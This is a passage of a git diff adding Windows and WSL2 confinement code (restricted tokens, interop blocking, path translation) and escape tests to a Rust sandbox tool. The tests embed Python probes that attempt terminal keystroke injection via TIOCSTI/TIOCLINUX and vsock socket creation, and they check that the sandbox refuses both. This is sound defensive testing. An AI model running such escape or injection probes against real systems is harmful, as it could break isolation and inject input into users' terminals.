+ + #[test] + fn a_batch_file_runs_through_cmd_with_its_line_quoted_whole() { + let l = batch_command_line( + &w(r"C:\Windows\system32\cmd.exe"), + &[w(r"C:\n\npm.cmd"), w("run"), w("a b")], + ); + assert_eq!( + String::from_utf16(&l).expect("utf16"), + r#"C:\Windows\system32\cmd.exe /d /s /c "C:\n\npm.cmd run "a b"""# + ); + assert!(is_batch(r"C:\n\NPM.CMD")); + assert!(is_batch("x.bat")); + assert!(!is_batch("x.exe")); + } + + #[test] + fn programs_are_found_on_path_with_pathext_and_never_in_the_current_folder() { + let files = [ + r"C:\Windows\System32\cmd.exe", + r"C:\node\npm.cmd", + r"C:\py\python.exe", + r"C:\tools\tool", + r".\local.exe", + ]; + let exists = |p: &str| files.iter().any(|f| f.eq_ignore_ascii_case(p)); + let path = Some(r"C:\Windows\System32;C:\node\;;C:\py;C:\tools"); + let find = |p: &str| resolve_program(p, path, None, &exists); + assert_eq!(find("cmd").as_deref(), Some(r"C:\Windows\System32\cmd.exe")); + assert_eq!( + find("CMD.EXE").as_deref(), + Some(r"C:\Windows\System32\CMD.EXE") + ); + assert_eq!(find("npm").as_deref(), Some(r"C:\node\npm.cmd")); + assert_eq!(find("python").as_deref(), Some(r"C:\py\python.exe")); + assert_eq!(find("tool").as_deref(), Some(r"C:\tools\tool")); + assert_eq!(find("local"), None, "the current folder is not searched"); + assert_eq!(find(r".\local").as_deref(), Some(r".\local.exe")); + assert_eq!(find("missing"), None); + assert_eq!( + resolve_program("npm", path, Some(".EXE"), &exists), + None, + "PATHEXT decides the extensions" + ); + } + + #[test] + fn job_limits_follow_the_policy() { + let base = job_flags::KILL_ON_JOB_CLOSE | job_flags::DIE_ON_UNHANDLED_EXCEPTION; + let none = JobLimits::from_limits(&Limits::default()); + assert_eq!(none.flags, base); + let both = JobLimits::from_limits(&Limits { + memory_mb: Some(256), + cpu_secs: Some(3), + wall_secs: Some(9), + ..Limits::default() + }); + assert_eq!( + both.flags, + base | job_flags::PROCESS_MEMORY | job_flags::PROCESS_TIME + ); + assert_eq!(both.process_memory, 256 * 1024 * 1024); + assert_eq!(both.process_user_time, 30_000_000); + let huge = JobLimits::from_limits(&Limits { + cpu_secs: Some(u64::MAX), + ..Limits::default() + }); + assert_eq!(huge.process_user_time, i64::MAX); + } + + #[test] + fn statuses_say_what_windows_enforces() { + let mut fs = Fs::default(); + assert_eq!(fs_status(&fs), Status::NotRequested); + fs.mode = FsMode::WorkspaceWrite; + assert!(matches!(fs_status(&fs), Status::Enforced(s) if s.contains("write-restricted"))); + fs.deny_read.push(PathBuf::from("secret")); + assert!(matches!(fs_status(&fs), Status::NotEnforced(s) if s.contains("deny_read"))); + assert_eq!(net_status(NetMode::Allow), Status::NotRequested); + assert!(net_status(NetMode::Deny).is_gap()); + assert!(net_status(NetMode::Proxy).is_gap()); + } +} diff --git a/crates/sandbox/src/windows/token.rs b/crates/sandbox/src/windows/token.rs new file mode 100644 index 0000000..1237abd --- /dev/null +++ b/crates/sandbox/src/windows/token.rs @@ -0,0 +1,214 @@ +//! The write-restricted token, and the small Win32 helpers the rest of the +//! module shares. Ported from incode's `sandbox::windows::imp`. + +use std::os::windows::ffi::OsStrExt; + +use windows_sys::Win32::Foundation::{CloseHandle, LocalFree, HANDLE, INVALID_HANDLE_VALUE}; +use windows_sys::Win32::Security::Authorization::{ + ConvertSidToStringSidW, ConvertStringSecurityDescriptorToSecurityDescriptorW, + ConvertStringSidToSidW, +}; +use windows_sys::Win32::Security::{ + CreateRestrictedToken, GetSecurityDescriptorDacl, GetTokenInformation, SetTokenInformation, + TokenDefaultDacl, TokenLogonSid, TokenUser, ACL, DISABLE_MAX_PRIVILEGE, SID_AND_ATTRIBUTES, + TOKEN_ACCESS_MASK, TOKEN_DEFAULT_DACL, TOKEN_GROUPS, TOKEN_INFORMATION_CLASS, TOKEN_USER, + WRITE_RESTRICTED, +}; +use windows_sys::Win32::System::Threading::{GetCurrentProcess, OpenProcessToken}; + +/// Everyone, S-1-1-0. +const EVERYONE: &str = "S-1-1-0"; +/// `TOKEN_ALL_ACCESS`, spelled numerically (the named constant is in a +/// feature this crate does not enable). +const TOKEN_ALL: TOKEN_ACCESS_MASK = 0x000f_01ff; + +/// A wide, NUL-terminated string for a Win32 W-API. +pub(crate) fn wide(s: impl AsRef) -> Vec { + s.as_ref().encode_wide().chain(std::iter::once(0)).collect() +} + +/// A handle closed once on drop. +pub(crate) struct OwnedHandle(pub(crate) HANDLE); + +impl Drop for OwnedHandle { + fn drop(&mut self) { + if !self.0.is_null() && self.0 != INVALID_HANDLE_VALUE { + // SAFETY: owned, closed once. + unsafe { CloseHandle(self.0) }; + } + } +} + +/// A `LocalAlloc`-owned pointer (a SID, a security descriptor, an ACL) freed +/// once on drop. +pub(crate) struct LocalPtr(pub(crate) *mut core::ffi::c_void); + +impl Drop for LocalPtr { + fn drop(&mut self) { + if !self.0.is_null() { + // SAFETY: from a Local* allocator, freed once. + unsafe { LocalFree(self.0) }; + } + } +} + +/// The last Win32 error, named by the call that produced it. +pub(crate) fn last_error(call: &str) -> String { + // SAFETY: reads the calling thread's error value; no arguments. + let code = unsafe { windows_sys::Win32::Foundation::GetLastError() }; + format!("{call} failed with error {code}") +} + +/// A SID built from its string form. +pub(crate) fn sid(s: &str) -> Result { + let mut out: *mut core::ffi::c_void = std::ptr::null_mut(); + // SAFETY: `wide(s)` is NUL-terminated; `out` receives an owned SID. + let ok = unsafe { ConvertStringSidToSidW(wide(s).as_ptr(), &mut out) }; + if ok == 0 || out.is_null() { + return Err(format!("could not build the SID {s}")); + } + Ok(LocalPtr(out)) +} + +/// A write-restricted token for one run: this process's token with every +/// privilege but `SeChangeNotify` removed, restricted to `run_sid`, +/// `Everyone` and the logon SID, so it writes only where one of them is +/// granted. Its default DACL lets the command open its own process. +pub(crate) fn restricted(run_sid: &str) -> Result { + // SAFETY: Win32 handle work; each call is checked and every handle this + // owns is closed. The SIDs and the array outlive the calls that read + // them. + unsafe { + let mut base: HANDLE = std::ptr::null_mut(); + if OpenProcessToken(GetCurrentProcess(), TOKEN_ALL, &mut base) == 0 { + return Err(last_error("OpenProcessToken")); + } + let base = OwnedHandle(base); + let private = sid(run_sid)?; + let everyone = sid(EVERYONE)?; + let logon = logon_sid(base.0)?; + let restricting = [ + SID_AND_ATTRIBUTES { + Sid: private.0, + Attributes: 0, + }, + SID_AND_ATTRIBUTES { + Sid: everyone.0, + Attributes: 0, + }, + SID_AND_ATTRIBUTES { + Sid: logon.0, + Attributes: 0, + }, + ]; + let mut token: HANDLE = std::ptr::null_mut(); + if CreateRestrictedToken( + base.0, + DISABLE_MAX_PRIVILEGE | WRITE_RESTRICTED, + 0, + std::ptr::null(), + 0, + std::ptr::null(), + restricting.len() as u32, + restricting.as_ptr(), + &mut token, + ) == 0 + { + return Err(last_error("CreateRestrictedToken")); + } + let token = OwnedHandle(token); + drop((private, everyone, logon)); + let user = token_user_sid(base.0)?; + set_default_dacl(token.0, &super::default_dacl_sddl(&user, run_sid))?; + Ok(token) + } +} + +/// Give `token` the default DACL `sddl`. +unsafe fn set_default_dacl(token: HANDLE, sddl: &str) -> Result<(), String> { + let mut sd: *mut core::ffi::c_void = std::ptr::null_mut(); + if ConvertStringSecurityDescriptorToSecurityDescriptorW( + wide(sddl).as_ptr(), + 1, + &mut sd, + std::ptr::null_mut(), + ) == 0 + || sd.is_null() + { + return Err(last_error( + "ConvertStringSecurityDescriptorToSecurityDescriptorW", + )); + } + let sd = LocalPtr(sd); + let mut present = 0; + let mut dacl: *mut ACL = std::ptr::null_mut(); + let mut defaulted = 0; + if GetSecurityDescriptorDacl(sd.0, &mut present, &mut dacl, &mut defaulted) == 0 { + return Err(last_error("GetSecurityDescriptorDacl")); + } + let info = TOKEN_DEFAULT_DACL { DefaultDacl: dacl }; + if SetTokenInformation( + token, + TokenDefaultDacl, + std::ptr::from_ref(&info).cast(), + std::mem::size_of::() as u32, + ) == 0 + { + return Err(last_error("SetTokenInformation(TokenDefaultDacl)")); + } + Ok(()) +} + +/// The user SID of `token`, as a string. +unsafe fn token_user_sid(token: HANDLE) -> Result { + let buf = token_information(token, TokenUser)?; + let user = &*buf.as_ptr().cast::(); + sid_to_string(user.User.Sid) +} + +/// The logon SID of `token`, as an owned copy. +unsafe fn logon_sid(token: HANDLE) -> Result { + let buf = token_information(token, TokenLogonSid)?; + let groups = &*buf.as_ptr().cast::(); + if groups.GroupCount == 0 { + return Err("the token has no logon SID".to_string()); + } + // Round-trip through the string form so the SID outlives `buf`. + let text = sid_to_string(groups.Groups.as_ptr().read().Sid)?; + sid(&text) +} + +/// One variable-length token information class, in a buffer aligned for the +/// structure read out of it. +unsafe fn token_information( + token: HANDLE, + class: TOKEN_INFORMATION_CLASS, +) -> Result, String> { + let mut len = 0u32; + // The first call sizes the buffer; it "fails" with ERROR_INSUFFICIENT_BUFFER. + GetTokenInformation(token, class, std::ptr::null_mut(), 0, &mut len); + if len == 0 { + return Err(last_error("GetTokenInformation(size)")); + } + let mut buf = vec![0u64; (len as usize).div_ceil(8)]; + if GetTokenInformation(token, class, buf.as_mut_ptr().cast(), len, &mut len) == 0 { + return Err(last_error("GetTokenInformation")); + } + Ok(buf) +} + +/// A SID as its string form. +unsafe fn sid_to_string(sid: *mut core::ffi::c_void) -> Result { + let mut out: *mut u16 = std::ptr::null_mut(); + if ConvertSidToStringSidW(sid, &mut out) == 0 || out.is_null() { + return Err(last_error("ConvertSidToStringSidW")); + } + let owned = LocalPtr(out.cast()); + let mut len = 0usize; + while *out.add(len) != 0 { + len += 1; + } + let text = String::from_utf16_lossy(std::slice::from_raw_parts(out, len)); + drop(owned); + Ok(text) +} diff --git a/crates/sandbox/src/wsl.rs b/crates/sandbox/src/wsl.rs new file mode 100644 index 0000000..11dbd72 --- /dev/null +++ b/crates/sandbox/src/wsl.rs @@ -0,0 +1,112 @@ +//! WSL2: closing the door to Windows. +//! +//! Inside WSL2, a Linux program can start a Windows program +//! (`/mnt/c/Windows/System32/cmd.exe`, `powershell.exe`, any `.exe`), and +//! that program runs on Windows, outside Linux altogether. None of the +//! sandbox's rules reach it. It goes three ways, and each is closed when the +//! filesystem is confined (`fs.block_wsl_interop`, on by default): +//! +//! - **Running a `.exe`.** The kernel hands it, through `binfmt_misc`, to +//! WSL's interpreter (`/init`, named in +//! `/proc/sys/fs/binfmt_misc/WSLInterop`). The interpreter is added to +//! `deny_read`, so the sandbox can't execute it and no `.exe` starts. +//! - **The interop socket.** The interpreter reaches Windows over a Unix +//! socket named by `WSL_INTEROP`, under `/run/WSL`. Landlock can't refuse a +//! connect to a Unix socket by path, so the variable is removed and +//! `/run/WSL` is hidden: nothing in the sandbox can find the socket. +//! - **vsock.** The seccomp filter refuses `AF_VSOCK` whenever the +//! filesystem is confined (see `seccomp`). +//! +//! Hiding `/init` and `/run/WSL` uses the same carving as `deny_read`, so +//! listing `/` or `/run` is refused inside the sandbox; files beneath them +//! are still readable. + +use std::path::{Path, PathBuf}; + +const BINFMT: &str = "/proc/sys/fs/binfmt_misc"; +const INTEROP_SOCKETS: &str = "/run/WSL"; + +/// Whether this Linux is WSL. +#[must_use] +pub fn detected() -> bool { + let version = std::fs::read_to_string("/proc/sys/kernel/osrelease").unwrap_or_default(); + is_wsl(&version, !interop_entries().is_empty()) +} + +/// WSL by its kernel release (`…-microsoft-standard-WSL2`) or by a +/// registered interop handler. +#[must_use] +pub fn is_wsl(kernel_release: &str, interop_registered: bool) -> bool { + let r = kernel_release.to_ascii_lowercase(); + interop_registered || r.contains("microsoft") || r.contains("wsl") +} + +/// The `binfmt_misc` entries WSL registers for `.exe` files. +fn interop_entries() -> Vec { + std::fs::read_dir(BINFMT) + .map(|rd| { + rd.filter_map(Result::ok) + .map(|e| e.path()) + .filter(|p| { + p.file_name() + .is_some_and(|n| n.to_string_lossy().starts_with("WSLInterop")) + }) + .collect() + }) + .unwrap_or_default() +} + +/// The interpreter a `binfmt_misc` entry names (its `interpreter` line). +#[must_use] +pub fn interpreter(entry_text: &str) -> Option { + entry_text + .lines() + .find_map(|l| l.strip_prefix("interpreter ")) + .map(|p| PathBuf::from(p.trim())) +} + +/// The paths to hide so no Windows program can be started: every interop +/// interpreter (`/init` by default) and the interop sockets' folder. Only +/// paths that exist, canonicalised. +#[must_use] +pub fn interop_paths() -> Vec { + let mut paths: Vec = interop_entries() + .iter() + .filter_map(|e| std::fs::read_to_string(e).ok()) + .filter_map(|t| interpreter(&t)) + .collect(); + paths.push(PathBuf::from("/init")); + paths.push(PathBuf::from(INTEROP_SOCKETS)); + let mut out = Vec::new(); + for p in paths { + if let Ok(real) = std::fs::canonicalize(&p) { + if !out.contains(&real) && real != Path::new("/") { + out.push(real); + } + } + } + out +} + +/// The variable that tells WSL's interpreter where the interop socket is. +pub const INTEROP_VAR: &str = "WSL_INTEROP"; + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn wsl_is_recognised_by_kernel_or_interop() { + assert!(is_wsl("6.6.87.2-microsoft-standard-WSL2", false)); + assert!(is_wsl("5.15.167.4-microsoft-standard-WSL2", false)); + assert!(is_wsl("6.18.0-custom", true)); + assert!(!is_wsl("6.18.44-fc-v139", false)); + } + + #[test] + fn the_interpreter_is_read_from_the_binfmt_entry() { + let entry = "enabled\ninterpreter /init\nflags: PF\noffset 0\nmagic 4d5a\n"; + assert_eq!(interpreter(entry), Some(PathBuf::from("/init"))); + assert_eq!(interpreter("enabled\nflags: F\n"), None); + } +} diff --git a/crates/sandbox/src/wslpath.rs b/crates/sandbox/src/wslpath.rs new file mode 100644 index 0000000..1f80b22 --- /dev/null +++ b/crates/sandbox/src/wslpath.rs @@ -0,0 +1,155 @@ +//! Windows paths as WSL sees them, for `sbx.exe` forwarding a command into +//! WSL2 (where the Linux sandbox does the confining). +//! +//! `C:\work\app` is `/mnt/c/work/app` in WSL's default mount layout +//! (`[automount] root = /mnt/`). A UNC path to a WSL distribution +//! (`\\wsl$\Ubuntu\home\me`, `\\wsl.localhost\Ubuntu\home\me`) is that +//! distribution's own `/home/me`. Anything else (another UNC share, a +//! relative path) has no WSL spelling and is refused rather than guessed. + +/// The WSL spelling of a Windows path, or `None` when there is none. +#[must_use] +pub fn to_wsl(path: &str) -> Option { + let p = path.replace('\\', "/"); + for prefix in ["//wsl$/", "//wsl.localhost/"] { + if let Some(rest) = p + .get(..prefix.len()) + .filter(|h| h.eq_ignore_ascii_case(prefix)) + .map(|_| &p[prefix.len()..]) + { + // Drop the distribution's name: inside it, the rest is absolute. + let inner = rest.split_once('/').map_or("", |(_, r)| r); + return Some(format!("/{inner}")); + } + } + let b = p.as_bytes(); + if b.len() >= 2 && b[0].is_ascii_alphabetic() && b[1] == b':' { + let drive = (b[0] as char).to_ascii_lowercase(); + let rest = p[2..].trim_start_matches('/'); + return Some(if rest.is_empty() { + format!("/mnt/{drive}") + } else { + format!("/mnt/{drive}/{}", rest.trim_end_matches('/')) + }); + } + None +} + +/// The options of `sbx` whose value is a path. +pub const PATH_OPTIONS: &[&str] = &[ + "-w", + "--write", + "--deny-read", + "--cwd", + "-p", + "--policy", + "--root", +]; + +/// `sbx` arguments rewritten for WSL: each path option's value, and any +/// argument after `--` that is a drive path (`C:\...`), translated. +/// +/// # Errors +/// When a path option's value has no WSL spelling. +pub fn translate_args(args: &[String]) -> Result, String> { + let mut out = Vec::with_capacity(args.len()); + let mut after_dashdash = false; + let mut i = 0; + while i < args.len() { + let a = &args[i]; + if after_dashdash { + out.push(if is_drive_path(a) { + to_wsl(a).unwrap_or_else(|| a.clone()) + } else { + a.clone() + }); + } else if a == "--" { + after_dashdash = true; + out.push(a.clone()); + } else if PATH_OPTIONS.contains(&a.as_str()) { + out.push(a.clone()); + if let Some(v) = args.get(i + 1) { + out.push(path_value(v)?); + i += 1; + } + } else { + out.push(a.clone()); + } + i += 1; + } + Ok(out) +} + +fn path_value(v: &str) -> Result { + let absolute = is_drive_path(v) || v.starts_with("\\\\") || v.starts_with("//"); + if !absolute { + // Relative (or `~`): resolved inside WSL against the forwarded --cd. + return Ok(v.replace('\\', "/")); + } + to_wsl(v) + .ok_or_else(|| format!("`{v}` has no path inside WSL (use a drive path or \\\\wsl$\\...)")) +} + +fn is_drive_path(a: &str) -> bool { + let b = a.as_bytes(); + b.len() >= 3 && b[0].is_ascii_alphabetic() && b[1] == b':' && (b[2] == b'\\' || b[2] == b'/') +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn drive_and_wsl_unc_paths_translate() { + assert_eq!(to_wsl(r"C:\work\app").as_deref(), Some("/mnt/c/work/app")); + assert_eq!(to_wsl("d:/data/").as_deref(), Some("/mnt/d/data")); + assert_eq!(to_wsl(r"E:\").as_deref(), Some("/mnt/e")); + assert_eq!( + to_wsl(r"\\wsl$\Ubuntu\home\me\proj").as_deref(), + Some("/home/me/proj") + ); + assert_eq!( + to_wsl(r"\\WSL.localhost\Ubuntu-24.04\tmp").as_deref(), + Some("/tmp") + ); + assert_eq!(to_wsl(r"\\server\share\x"), None); + assert_eq!(to_wsl(r"relative\dir"), None); + } + + #[test] + fn path_options_and_command_paths_are_rewritten() { + let args: Vec = [ + "run", + "-w", + r"C:\work\app", + "--deny-read", + r"..\private", + "--net", + "deny", + "--", + "python3", + r"C:\work\app\main.py", + "--flag=C:x", + ] + .map(String::from) + .to_vec(); + assert_eq!( + translate_args(&args).expect("translates"), + [ + "run", + "-w", + "/mnt/c/work/app", + "--deny-read", + "../private", + "--net", + "deny", + "--", + "python3", + "/mnt/c/work/app/main.py", + "--flag=C:x", + ] + ); + let bad: Vec = ["run", "-w", r"\\server\share"].map(String::from).to_vec(); + assert!(translate_args(&bad).is_err()); + } +} diff --git a/crates/sandbox/tests/escape.rs b/crates/sandbox/tests/escape.rs index 2ca041b..338729d 100644 --- a/crates/sandbox/tests/escape.rs +++ b/crates/sandbox/tests/escape.rs @@ -471,3 +471,105 @@ fn running(tag: &str) -> bool { .is_some_and(|c| c.split(|b| *b == 0).next() == Some(tag.as_bytes())) }) } + +/// Whether `sbx` has a seccomp filter for this architecture. +const SECCOMP_ARCH: bool = cfg!(any(target_arch = "x86_64", target_arch = "aarch64")); + +/// In a new session, makes a pty's slave its controlling terminal, then +/// tries `TIOCSTI` (inject a keystroke), `TIOCLINUX` and the harmless +/// `TIOCGWINSZ` on it; prints one line per attempt. Never touches the +/// caller's own terminal unless `devtty` is set, and then only to check +/// the injection is refused. +fn tty_probe(devtty: bool) -> String { + format!( + r#"python3 -c ' +import errno, fcntl, os, termios +def t(name, f): + try: + f(); print(name, "ok") + except OSError as e: + print(name, "refused", e.errno) +pid = os.fork() +if pid == 0: + try: + os.setsid() + m, s = os.openpty() + fcntl.ioctl(s, termios.TIOCSCTTY, 0) + t("sti", lambda: fcntl.ioctl(s, termios.TIOCSTI, b"x")) + t("linux", lambda: fcntl.ioctl(s, getattr(termios, "TIOCLINUX", 0x541C), b"\x07")) + t("winsz", lambda: fcntl.ioctl(s, termios.TIOCGWINSZ, b"\0" * 8)) + t("tcgets", lambda: termios.tcgetattr(s)) + finally: + os._exit(0) +os.waitpid(pid, 0) +if {devtty}: + try: + fd = os.open("/dev/tty", os.O_RDWR) + except OSError: + print("devtty none") + else: + t("devtty", lambda: fcntl.ioctl(fd, termios.TIOCSTI, b"\n")) +'"#, + devtty = if devtty { "True" } else { "False" } + ) +} + +#[test] +fn terminal_input_injection_is_refused_when_the_filesystem_is_confined() { + require!(SECCOMP_ARCH, "seccomp filters on this architecture"); + let d = dirs(); + // Unconfined first: TIOCSTI on the session's own terminal works, or + // fails with EIO where `dev.tty.legacy_tiocsti` is off. Anything else + // (no python3, no ptys) means the probe cannot tell the filter's EPERM + // from the kernel's own. + let control = text(&sh(&d.ws, &[], &tty_probe(false))); + if !(control.contains("sti ok") || control.contains("sti refused 5")) { + eprintln!("SKIPPED: no pty to test TIOCSTI on: {control}"); + return; + } + assert!(control.contains("winsz ok"), "{control}"); + let o = sh(&d.ws, &["--fs", "read-only"], &tty_probe(true)); + let out = text(&o); + assert!(out.contains("sti refused 1"), "TIOCSTI not refused: {out}"); + assert!( + out.contains("linux refused 1"), + "TIOCLINUX not refused: {out}" + ); + assert!(!out.contains("devtty ok"), "{out}"); + // Ordinary terminal ioctls still work. + assert!(out.contains("winsz ok"), "{out}"); + assert!(out.contains("tcgets ok"), "{out}"); + // And under the network policy too, where the other layer is added. + let o = sh(&d.ws, &["--net", "deny"], &tty_probe(false)); + if o.status.code() != Some(125) { + let out = text(&o); + assert!(out.contains("sti refused 1"), "{out}"); + assert!(out.contains("winsz ok"), "{out}"); + } +} + +const VSOCK_PROBE: &str = r#"python3 -c ' +import socket +try: + socket.socket(40, socket.SOCK_STREAM); print("vsock ok") +except OSError as e: + print("vsock refused", e.errno) +'"#; + +#[test] +fn vsock_is_refused_when_the_filesystem_is_confined_even_with_the_network_allowed() { + require!(SECCOMP_ARCH, "seccomp filters on this architecture"); + let d = dirs(); + let control = text(&sh(&d.ws, &["--net", "allow"], VSOCK_PROBE)); + if control.contains("vsock refused 97") { + // EAFNOSUPPORT: no vsock in this kernel. The filter answers before + // the kernel looks at the family, so the check below still holds. + eprintln!("note: this kernel has no vsock (EAFNOSUPPORT)"); + } else if !control.contains("vsock") { + eprintln!("SKIPPED: the probe did not run: {control}"); + return; + } + let o = sh(&d.ws, &["--fs", "read-only", "--net", "allow"], VSOCK_PROBE); + let out = text(&o); + assert!(out.contains("vsock refused 13"), "{out}"); +} diff --git a/crates/sandbox/tests/escape_windows.rs b/crates/sandbox/tests/escape_windows.rs new file mode 100644 index 0000000..fdf2088 --- /dev/null +++ b/crates/sandbox/tests/escape_windows.rs @@ -0,0 +1,565 @@ +//! Escape tests against the native Windows sandbox (write-restricted token, +//! ACL grant, job object): the Linux escape tests that apply on Windows, +//! through the real `sbx.exe`. +//! +//! They use only what a stock Windows (and the `windows-latest` CI runner) +//! has: `cmd.exe` and Windows PowerShell. Scripts are written to files +//! rather than passed inline, so no test depends on how `cmd` re-parses +//! quotes. Every run is native (`SBX_BACKEND=native`) unless the test is +//! about choosing the backend. + +#![cfg(windows)] + +use std::io::{BufRead, BufReader, Write}; +use std::path::{Path, PathBuf}; +use std::process::{Child, ChildStdin, ChildStdout, Command, Output, Stdio}; +use std::time::{Duration, Instant}; + +use serde_json::{json, Value}; + +const SBX: &str = env!("CARGO_BIN_EXE_sbx"); +/// Every run SID starts with this (`incord_sandbox::windows::SID_PREFIX`). +const SID_MARK: &str = "4242424242"; + +fn base(cwd: &Path) -> Command { + let mut c = Command::new(SBX); + c.current_dir(cwd) + .env("SBX_BACKEND", "native") + .env_remove("SBX_NATIVE") + .stdin(Stdio::null()); + c +} + +fn sbx(args: &[&str], cwd: &Path) -> Output { + base(cwd).args(args).output().expect("sbx runs") +} + +/// `sbx run -- cmd /d /s /c `. +fn cmd(cwd: &Path, flags: &[&str], line: &str) -> Output { + let mut args = vec!["run"]; + args.extend_from_slice(flags); + args.extend_from_slice(&["--", "cmd", "/d", "/s", "/c", line]); + sbx(&args, cwd) +} + +/// `sbx run -- powershell ... -File